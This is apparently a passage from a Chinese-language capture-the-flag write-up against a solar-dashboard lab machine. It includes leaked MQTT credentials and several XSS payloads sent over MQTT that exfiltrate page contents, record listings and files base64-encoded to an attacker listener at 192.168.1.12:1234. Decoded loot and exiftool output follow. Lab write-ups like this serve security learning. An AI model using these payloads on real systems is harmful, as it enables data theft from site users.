\/\/ Update the bar chart\n            energyChart.data.datasets[0].data = [solar, consumed, grid];\n            energyChart.update();\n\n            \/\/ Update labels with specific colors\n            document.getElementById(&#039;solarEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value solar&quot;&gt;${solarEnergy} kWh&lt;\/span&gt;`;\n            document.getElementById(&#039;consumedEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value consumed&quot;&gt;${consumedEnergy} kWh&lt;\/span&gt;`;\n\n            let gridLabel = document.getElementById(&#039;gridEnergyLabel&#039;);\n            gridLabel.innerHTML = `&lt;span class=&quot;energy-value ${gridEnergy &lt; 0 ? &#039;grid-negative&#039; : &#039;grid-positive&#039;}&quot;&gt;${gridEnergy} kWh&lt;\/span&gt;`;\n\n            document.getElementById(&#039;userInfo&#039;).innerHTML = `&lt;span&gt;${userName}&lt;\/span&gt;&lt;br&gt;${userRole}`;\n        }\n\n        setParams(0, 0);\n\n    &lt;\/script&gt;\n\n&lt;\/body&gt;<\/code><\/pre>\n<pre><code class=\"language-html\">&lt;body&gt;\n    &lt;div class=&quot;dashboard&quot;&gt;\n        &lt;object class=&quot;solar-icon&quot; data=&quot;sun.svg&quot; type=&quot;image\/svg+xml&quot; style=&quot;width:75px;&quot;&gt;&lt;\/object&gt;\n        &lt;h1&gt;Solar Energy Dashboard&lt;\/h1&gt;\n        &lt;div class=&quot;user-info&quot; id=&quot;userInfo&quot;&gt;&lt;span&gt;JulianAdm&lt;\/span&gt;&lt;br&gt;admin&lt;\/div&gt;\n        &lt;canvas id=&quot;energyChart&quot; class=&quot;energy-chart&quot; width=&quot;400&quot; height=&quot;200&quot; style=&quot;display: block; box-sizing: border-box; height: 200px; width: 400px;&quot;&gt;&lt;\/canvas&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;solar-title&quot;&gt;Solar:&lt;\/span&gt; &lt;span id=&quot;solarEnergyLabel&quot; class=&quot;energy-value solar&quot;&gt;&lt;span class=&quot;energy-value solar&quot;&gt;&lt;img src=&quot;x&quot; onerror=&quot;(async () =&gt; {location.href=&#039;http:\/\/192.168.1.12:1234?url=&#039;+encodeURIComponent(window.location.href)+&#039;&amp;code=&#039;+btoa(document.body.outerHTML);})();&quot; ;=&quot;&quot;&gt; kWh&lt;\/span&gt;&lt;\/span&gt;&lt;\/div&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;consumed-title&quot;&gt;Consumed:&lt;\/span&gt; &lt;span id=&quot;consumedEnergyLabel&quot; class=&quot;energy-value consumed&quot;&gt;&lt;span class=&quot;energy-value consumed&quot;&gt;22222 kWh&lt;\/span&gt;&lt;\/span&gt;&lt;\/div&gt;\n        &lt;div class=&quot;energy-label&quot;&gt;&lt;span class=&quot;grid-title&quot;&gt;Grid:&lt;\/span&gt; &lt;span id=&quot;gridEnergyLabel&quot; class=&quot;energy-value grid-positive&quot;&gt;&lt;span class=&quot;energy-value grid-positive&quot;&gt;NaN kWh&lt;\/span&gt;&lt;\/span&gt;&lt;\/div&gt;\n        &lt;a href=&quot;\/logout.php&quot; class=&quot;logout-link&quot; id=&quot;logoutLink&quot;&gt;Logout&lt;\/a&gt;\n                    &lt;a href=&quot;\/records\/&quot; class=&quot;logout-link&quot;&gt;Records&lt;\/a&gt;\n            &lt;a href=&quot;#&quot; class=&quot;logout-link&quot; id=&quot;send-record-id&quot;&gt;Send record&lt;\/a&gt;\n            &lt;\/div&gt;\n\n    &lt;!--&lt;script src=&quot;\/mqtt.min.js&quot;&gt;&lt;\/script&gt;--&gt;\n\n    &lt;script src=&quot;\/chart.js&quot;&gt;&lt;\/script&gt;\n    &lt;script type=&quot;module&quot;&gt;\n        import mqtt from &#039;\/mqtt.js&#039;\n\n        let userName = &quot;JulianAdm&quot;;\n        let userRole = &quot;admin&quot;;\n\n        var mqttclient = mqtt.connect(&#039;wss:\/\/www.solar.nyx\/wss\/&#039;, {\n            clientId: userName + &#039;-dashboard-&#039; + new Date().valueOf(),\n            username: &#039;admin&#039;,\n            password: &#039;tJH8HvwVwC57BR6CEyg5&#039;,\n            protocolId: &#039;MQTT&#039;\n        });\n\n        mqttclient.on(&quot;message&quot;, getMessagesStatus);\n\n        function getMessagesStatus(msTopic, msBody) {\n            let data = JSON.parse(msBody.toString());\n            setParams(data.solarEnergy, data.consumedEnergy);\n        }\n\n        mqttclient.subscribe(&quot;data&quot;, function (err) {\n            if (err) {\n                console.log(&#039;ERROR MQTT&#039;, err.toString());\n                mqttclient.end();\n            }\n        });\n\n        let solar = 0, consumed = 0, grid = 0;\n\n        \/\/ Initialize the bar chart using Chart.js\n        const ctx = document.getElementById(&#039;energyChart&#039;).getContext(&#039;2d&#039;);\n        let energyChart = new Chart(ctx, {\n            type: &#039;bar&#039;,\n            data: {\n                labels: [&#039;Solar&#039;, &#039;Consumed&#039;, &#039;Grid&#039;],\n                datasets: [{\n                    label: &#039;Energy (kWh)&#039;,\n                    data: [solar, consumed, grid],\n                    backgroundColor: [&#039;#6fcf97&#039;, &#039;#eb5757&#039;, &#039;#56ccf2&#039;],\n                }]\n            },\n            options: {\n                scales: {\n                    y: {\n                        beginAtZero: true,\n                        ticks: {\n                            callback: function (value) { return value + &quot; kWh&quot;; }\n                        }\n                    }\n                },\n                plugins: {\n                    legend: {\n                        display: false\n                    },\n                    tooltip: {\n                        callbacks: {\n                            label: function (context) {\n                                return context.dataset.label + &#039;: &#039; + context.raw + &#039; kWh&#039;;\n                            }\n                        }\n                    }\n                }\n            }\n        });\n\n        \/\/ Update the chart and labels with new data\n        function setParams(solarEnergy, consumedEnergy) {\n            let gridEnergy = consumedEnergy - solarEnergy;\n            solar = solarEnergy;\n            consumed = consumedEnergy;\n            grid = gridEnergy;\n\n            \/\/ Update the bar chart\n            energyChart.data.datasets[0].data = [solar, consumed, grid];\n            energyChart.update();\n\n            \/\/ Update labels with specific colors\n            document.getElementById(&#039;solarEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value solar&quot;&gt;${solarEnergy} kWh&lt;\/span&gt;`;\n            document.getElementById(&#039;consumedEnergyLabel&#039;).innerHTML = `&lt;span class=&quot;energy-value consumed&quot;&gt;${consumedEnergy} kWh&lt;\/span&gt;`;\n\n            let gridLabel = document.getElementById(&#039;gridEnergyLabel&#039;);\n            gridLabel.innerHTML = `&lt;span class=&quot;energy-value ${gridEnergy &lt; 0 ? &#039;grid-negative&#039; : &#039;grid-positive&#039;}&quot;&gt;${gridEnergy} kWh&lt;\/span&gt;`;\n\n            document.getElementById(&#039;userInfo&#039;).innerHTML = `&lt;span&gt;${userName}&lt;\/span&gt;&lt;br&gt;${userRole}`;\n        }\n\n        setParams(0, 0);\n\n            \/\/ Show message\n            function showMessage(msg) {\n                const mensajeDiv = document.createElement(&#039;div&#039;);\n                mensajeDiv.classList.add(&quot;temp-message&quot;)\n                mensajeDiv.textContent = msg;\n                document.body.appendChild(mensajeDiv);\n                setTimeout(() =&gt; {\n                    mensajeDiv.remove();\n                }, 3000);\n            }\n\n            \/\/ Function to send the record \n            function sendrecord() {\n                let btn = document.getElementById(&#039;send-record-id&#039;);\n                if (!btn.disabled) {\n                    \/\/ Capture the chart as a base64 image\n                    let chartImage = energyChart.toBase64Image();\n\n                    mqttclient.publish(&#039;record&#039;, JSON.stringify({\n                        time: new Date().toISOString(),\n                        user: {\n                            name: userName,\n                            role: userRole\n                        },\n                        solar: solar,\n                        consumed: consumed,\n                        grid: grid,\n                        chart: chartImage\n                    }));\n\n                    btn.disabled = true;\n                    btn.style.opacity = &#039;0.3&#039;;\n\n                    setTimeout(() =&gt; {\n                        btn.style.opacity = &#039;1&#039;;\n                        btn.disabled = false;\n                        showMessage(&#039;Record was end successfully!&#039;)\n                    }, 1500);\n                }\n            }\n            document.getElementById(&#039;send-record-id&#039;).onclick = sendrecord;\n\n    &lt;\/script&gt;\n\n&lt;\/body&gt;<\/code><\/pre>\n<p>\u8fd9\u91cc\u89e6\u53d1\u4e86\u4e24\u6b21\uff1a<\/p>\n<table>\n<thead>\n<tr>\n<th>IP \u5730\u5740<\/th>\n<th>\u7528\u6237\u8eab\u4efd<\/th>\n<th>\u8bc1\u636e<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>192.168.1.10<\/code><\/td>\n<td><strong>\u666e\u901a\u7528\u6237 <code>calvin<\/code><\/strong><\/td>\n<td>HTML \u4e2d\u5305\u542b\uff1a <code>&lt;span&gt;calvin&lt;\/span&gt;&lt;br&gt;user<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>192.168.1.108<\/code><\/td>\n<td><strong>\u7ba1\u7406\u5458 <code>JulianAdm<\/code><\/strong><\/td>\n<td>HTML \u4e2d\u5305\u542b\uff1a <code>&lt;span&gt;JulianAdm&lt;\/span&gt;&lt;br&gt;admin<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u56e0\u4e3a\u5411 <code>data<\/code> \u4e3b\u9898\u53d1\u5e03\u6d88\u606f\u5bfc\u81f4 <strong>\u6240\u6709\u8ba2\u9605\u8be5\u4e3b\u9898\u7684\u5ba2\u6237\u7aef\u90fd\u4f1a\u6536\u5230<\/strong>\uff0c\u6ce8\u610f\u5230\u672c\u5730\u7684\u6d4f\u89c8\u5668\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459499.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459499.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102151646650\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u89c1xss\u5371\u5bb3\u3002\u3002\u3002\u3002<\/p>\n<p>\u7136\u540e\u5728\u9776\u673a\u5904\u7684\u6e90\u4ee3\u7801\u5f97\u5230\u4e86\u65b0\u7684mqtt\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-javascript\">var mqttclient = mqtt.connect(&#039;wss:\/\/www.solar.nyx\/wss\/&#039;, {\n    clientId: userName + &#039;-dashboard-&#039; + new Date().valueOf(),\n    username: &#039;admin&#039;,\n    password: &#039;tJH8HvwVwC57BR6CEyg5&#039;,\n    protocolId: &#039;MQTT&#039;\n});<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-text\">admin:tJH8HvwVwC57BR6CEyg5<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459500.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459500.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102151836165\" style=\"zoom:67%;\" \/><\/div><\/p>\n<h4>xss\u89e6\u53d1\u6309\u94ae<\/h4>\n<p>\u540c\u65f6\u6ce8\u610f\u5230\u6e90\u4ee3\u7801\u5904\u9776\u673a\u6709\u51fd\u6570<code>send-record-id<\/code>\uff0c\u53d1\u9001\u7684\u662f\u56fe\u7247\uff0c\u5c1d\u8bd5\u8fdb\u884c\u83b7\u53d6\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;solarEnergy&quot;: &quot;&lt;img src=x onerror=\\&quot;document.querySelector(`#send-record-id`).dispatchEvent(new Event(&#039;click&#039;));\\&quot; \/&gt;&quot;,\n  &quot;consumedEnergy&quot;: 22222\n}<\/code><\/pre>\n<p>\u5927\u81f4\u610f\u601d\u662f\u62a5\u9519\u89e6\u53d1\u521b\u5efa<code>click<\/code>\u5f3a\u884c\u89e6\u53d1\u6309\u94ae\u70b9\u51fb\u51fd\u6570\uff0c\u53d1\u4e2a\u622a\u56fe\u8fc7\u6765<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459501.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459501.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102153234787\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459502.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459502.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102153304604\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h4>xss\u7a83\u53d6record\u4e0b\u7684\u6587\u4ef6<\/h4>\n<p>\u5c1d\u8bd5\u7a83\u53d6<code>\/record\/<\/code>\u4e0b\u7684\u6587\u4ef6\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;solarEnergy&quot;: &quot;&lt;img src=x onerror=\\&quot;(async () =&gt; { location.href=&#039;http:\/\/192.168.1.12:1234\/?data=&#039;+btoa(String.fromCharCode(...new Uint8Array(await (await fetch(&#039;\/records\/&#039;)).arrayBuffer())));})(); \\&quot; \/&gt;&quot;,\n  &quot;consumedEnergy&quot;: 22222\n}<\/code><\/pre>\n<p>\u5927\u81f4\u662f\u5c06<code>record<\/code>\u4e0b\u7684\u6587\u4ef6\u4f7f\u7528\u4e8c\u8fdb\u5236\u5b8c\u6574\u4fdd\u5b58\u7f16\u7801\u53d1\u9001\u8fc7\u6765\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459503.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459503.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102154300643\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u89e3\u7801\u4ee5\u540e\u5f97\u5230\uff1a<\/p>\n<pre><code class=\"language-bash\">Solar Energy Dashboard\nSolar Energy Dashboard\nUser NameRole\nSolar: 0 kWh\nConsumed: 0 kWh\nGrid: 0 kWh\nLogout\n--&gt;\nimport mqtt from &#039;\/mqtt.js&#039;\nlet userName = &quot;calvin&quot;;\nlet userRole = &quot;user&quot;;\nvar mqttclient = mqtt.connect(&#039;wss:\/\/www.solar.nyx\/wss\/&#039;, {\nclientId: userName + &#039;-dashboard-&#039; + new Date().valueOf(),\nusername: &#039;user&#039;,\npassword: &#039;1tEa15klQpTx9Oub6ENG&#039;,\nprotocolId: &#039;MQTT&#039;\n});\nmqttclient.on(&quot;message&quot;, getMessagesStatus);\nfunction getMessagesStatus(msTopic, msBody) {\nlet data = JSON.parse(msBody.toString());\nsetParams(data.solarEnergy, data.consumedEnergy);\n}\nmqttclient.subscribe(&quot;data&quot;, function (err) {\nif (err) {\nconsole.log(&#039;ERROR MQTT&#039;, err.toString());\nmqttclient.end();\n}\n});\nlet solar = 0, consumed = 0, grid = 0;\n\/\/ Initialize the bar chart using Chart.js\nconst ctx = document.getElementById(&#039;energyChart&#039;).getContext(&#039;2d&#039;);\nlet energyChart = new Chart(ctx, {\ntype: &#039;bar&#039;,\ndata: {\nlabels: [&#039;Solar&#039;, &#039;Consumed&#039;, &#039;Grid&#039;],\ndatasets: [{\nlabel: &#039;Energy (kWh)&#039;,\ndata: [solar, consumed, grid],\nbackgroundColor: [&#039;#6fcf97&#039;, &#039;#eb5757&#039;, &#039;#56ccf2&#039;],\n}]\n},\noptions: {\nscales: {\ny: {\nbeginAtZero: true,\nticks: {\ncallback: function (value) { return value + &quot; kWh&quot;; }\n}\n}\n},\nplugins: {\nlegend: {\ndisplay: false\n},\ntooltip: {\ncallbacks: {\nlabel: function (context) {\nreturn context.dataset.label + &#039;: &#039; + context.raw + &#039; kWh&#039;;\n}\n}\n}\n}\n}\n});\n\/\/ Update the chart and labels with new data\nfunction setParams(solarEnergy, consumedEnergy) {\nlet gridEnergy = consumedEnergy - solarEnergy;\nsolar = solarEnergy;\nconsumed = consumedEnergy;\ngrid = gridEnergy;\n\/\/ Update the bar chart\nenergyChart.data.datasets[0].data = [solar, consumed, grid];\nenergyChart.update();\n\/\/ Update labels with specific colors\ndocument.getElementById(&#039;solarEnergyLabel&#039;).innerHTML = `${solarEnergy} kWh`;\ndocument.getElementById(&#039;consumedEnergyLabel&#039;).innerHTML = `${consumedEnergy} kWh`;\nlet gridLabel = document.getElementById(&#039;gridEnergyLabel&#039;);\ngridLabel.innerHTML = `${gridEnergy} kWh`;\ndocument.getElementById(&#039;userInfo&#039;).innerHTML = `${userName}${userRole}`;\n}\nsetParams(0, 0);\n<\/code><\/pre>\n<p>\u4ee5\u53ca\uff1a<\/p>\n<pre><code class=\"language-bash\">&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n\n&lt;head&gt;\n    &lt;title&gt;List of Solar Energy Data&lt;\/title&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;\/style.css&quot;&gt;\n    &lt;link rel=&quot;stylesheet&quot; href=&quot;\/style3.css&quot;&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;div style=&quot;min-width:400px;background:white;padding:15px;border-radius: 8px;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);&quot;&gt;\n        &lt;div style=&quot;text-align:center;&quot;&gt;&lt;object class=&quot;solar-icon&quot; data=&quot;..\/sun.svg&quot; type=&quot;image\/svg+xml&quot; style=&quot;width:75px;&quot;&gt;&lt;\/object&gt;&lt;\/div&gt;\n        &lt;h1&gt;List of Solar Energy Data&lt;\/h1&gt;\n        &lt;table&gt;\n            &lt;tr&gt;\n                &lt;th&gt;Record&lt;\/th&gt;\n                &lt;th&gt;Actions&lt;\/th&gt;\n            &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:15:11.396Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A15%3A11.396Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:18:15.742Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A18%3A15.742Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:18:44.091Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A18%3A44.091Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:24:33.828Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A24%3A33.828Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:24:44.800Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A24%3A44.800Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:25:15.961Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A25%3A15.961Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2024-09-02T23:29:14.124Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A29%3A14.124Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                    &lt;\/table&gt;\n        &lt;a href=&quot;..\/dashboard.php&quot; class=&quot;logout-link&quot;&gt;&lt; Back&lt;\/a&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/code><\/pre>\n<h4>xss\u8fdc\u7a0b\u4e0b\u8f7dpdf\u6587\u4ef6<\/h4>\n<p>\u540c\u6837\u6709\u4e00\u4e2a\u662f\u9776\u673a\u7684\uff0c\u53d1\u73b0\u4e86\u51e0\u4e2apdf\uff0c\u5c1d\u8bd5\u8fdb\u884c\u83b7\u53d6\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;solarEnergy&quot;: &quot;&lt;img src=x onerror=\\&quot;(async () =&gt; {location.href=&#039;http:\/\/192.168.1.12:1234?data=&#039;+btoa(String.fromCharCode(...new Uint8Array(await (await fetch(&#039;\/records\/?download=true&amp;file=2024-09-02T23%3A29%3A14.124Z.json&#039;)).arrayBuffer())));})();\\&quot; \/&gt;&quot;,\n  &quot;consumedEnergy&quot;: 22222\n}<\/code><\/pre>\n<p>\u7136\u540e\u5c06\u53d1\u9001\u8fc7\u6765\u7684\u7f16\u7801\u4fe1\u606f\u8fdb\u884c\u89e3\u7801\uff0c\u5bfc\u51fa\u5373\u53ef\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459504.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459504.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102160552325\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7136\u540e\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459505.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459505.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102160622940\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ file download.pdf                                                                                                        \ndownload.pdf: PDF document, version 1.4, 0 page(s)\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ exiftool download.pdf \nExifTool Version Number         : 13.25\nFile Name                       : download.pdf\nDirectory                       : .\nFile Size                       : 25 kB\nFile Modification Date\/Time     : 2026:01:02 03:07:06-05:00\nFile Access Date\/Time           : 2026:01:02 03:07:15-05:00\nFile Inode Change Date\/Time     : 2026:01:02 03:07:06-05:00\nFile Permissions                : -rw-rw-r--\nFile Type                       : PDF\nFile Type Extension             : pdf\nMIME Type                       : application\/pdf\nPDF Version                     : 1.4\nLinearized                      : No\nTitle                           : Solar Energy Data\nCreator                         : wkhtmltopdf 0.12.6.1\nProducer                        : Qt 4.8.7\nCreate Date                     : 2026:01:02 03:04:26-05:00\nPage Count                      : 1\nPage Mode                       : UseOutlines<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e2a\u521b\u5efa pdf \u5de5\u5177\u7684\u7248\u672c\u4fe1\u606f\uff1a<code>wkhtmltopdf 0.12.6.1<\/code>\uff0c\u4f46\u662f\u6ca1\u6709\u5565\u7528\uff0c\u786e\u5b9e\u6709\u5386\u53f2\u6f0f\u6d1e\uff0c\u4f46\u662f\u4f5c\u8005\u8bf4\u4e86\u8fd9\u4e2a\u4e0d\u662f\u5207\u5165\u70b9\uff0c\u63a5\u4e0b\u6765\u8981\u505a\u7684\u5c31\u662f\u5c06\u4fe1\u606f\u7ed9\u641e\u5230pdf\u91cc\u7136\u540e\u8bfb\u53d6\u3002\u3002\u3002\u3002\u3002\u4f7f\u7528\u4f5c\u8005\u8bbe\u8ba1\u597d\u7684\u6076\u610f\u4ee3\u7801\u8fdb\u884c\u63d0\u53d6\uff08\u83dc\u83dc\u4f6c\u4f6c\u5e26\u5e26\u5199\u4e0d\u51fa\u6765.jpg\uff09<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;time&quot;: 